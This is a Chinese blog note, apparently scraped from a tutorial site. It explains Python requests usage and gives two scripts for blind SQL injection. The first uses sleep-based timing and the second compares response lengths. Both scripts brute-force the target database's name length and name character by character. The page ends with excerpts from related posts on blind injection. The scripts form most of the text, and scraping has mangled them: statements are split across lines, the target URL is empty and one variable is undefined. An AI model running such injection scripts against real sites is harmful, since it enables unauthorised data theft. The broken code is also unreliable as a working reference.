python解決盲注和延遲注入筆記

2021-10-03 22:00:19 字數 2571 閱讀 9382

pip install requests
pip命令執行就能安裝成功,然後是關於requests模組的一些函式:

get請求

post請求

res=request.get(url,params=data)

res=request.post(url,data)

這裡res是響應response 的縮寫;

括號裡也有很多引數:

1. url

2. header

3. params(get請求)

4. data(post請求)

5. files

6. cookies

等等;

import requests

import string

url =

""defiftimeout

(url)

:try

: res = requests.get(url,timeout=3)

return res.text

except exception as e:

return

"timeout"

dbnamelen =

0while

true

: dbnamelen+=

1 dbnamelen_url = url+

"?id=1'+and+if(length(database())="

+str

(dbnamelen)

+",sleep(5),1)--+"

print

(dbnamelen_url)

if"timeout"

in iftimeout(dbnamelen_url)

:print

("庫長:"

,dbnamelen)

break

#暴庫長 庫長為8

dbname=

""for i in

range(1

,9):

for j in string.ascii_lowercase:

dbname_url=url+

"?id=1'+and+if(substr(database(),"

+str

(i)+

",1)='"

+j+"',sleep(5),1)--+"

print

(dbname_url)

if"timeout"

in iftimeout(dbname_url)

: dbname+=j

print

("庫名:"

,dbname)

break

#暴庫名

爆出來的庫名

)#暴庫長

dbnamelen =

0while

true

: dbnamelen_url = url+

"?id=1'+and+length(database())="

+str

(dbnamelen)

+"--+"

print

(dbnamelen_url)

iflen

(requests.get(dbnamelen_url)

.text)

== htmllen:

print

("the length of dbname:"

+str

(dbnamelen)

)break

if dbnamelen ==30:

print

("error!"

) dbnamelen+=

1#暴庫名

dbname =

""for i in

range(1

,9):

for j in string.ascii_lowercase:

dbname_url=url+

"?id=1'+and+substr(database(),"

+str

(i)+

",1)='"

+j+"' --+"

iflen

(requests.get(dbname_url)

.text)

== htmllen:

dbname += j

print

(dbname)

break

跑出來的庫名和上圖一樣

SQL注入之延遲盲注

延遲盲注 你不知道你輸入的資料在sql被執行後是否是正確或錯誤的。你只知道有資料。利用原理 借助if語句,如果正確就sleep 5 延遲5秒返回資料。通過資料返回的時間大小判斷自己的語句是否正確執行。因為如果正確執行,會休眠5秒。錯誤執行,立馬返回!0x01 是布林盲注還是延遲盲注 這麼明顯錯誤的語...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...